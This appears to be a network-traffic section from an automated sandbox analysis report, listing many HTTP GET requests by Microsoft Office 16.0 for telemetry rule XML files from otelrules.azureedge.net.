Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
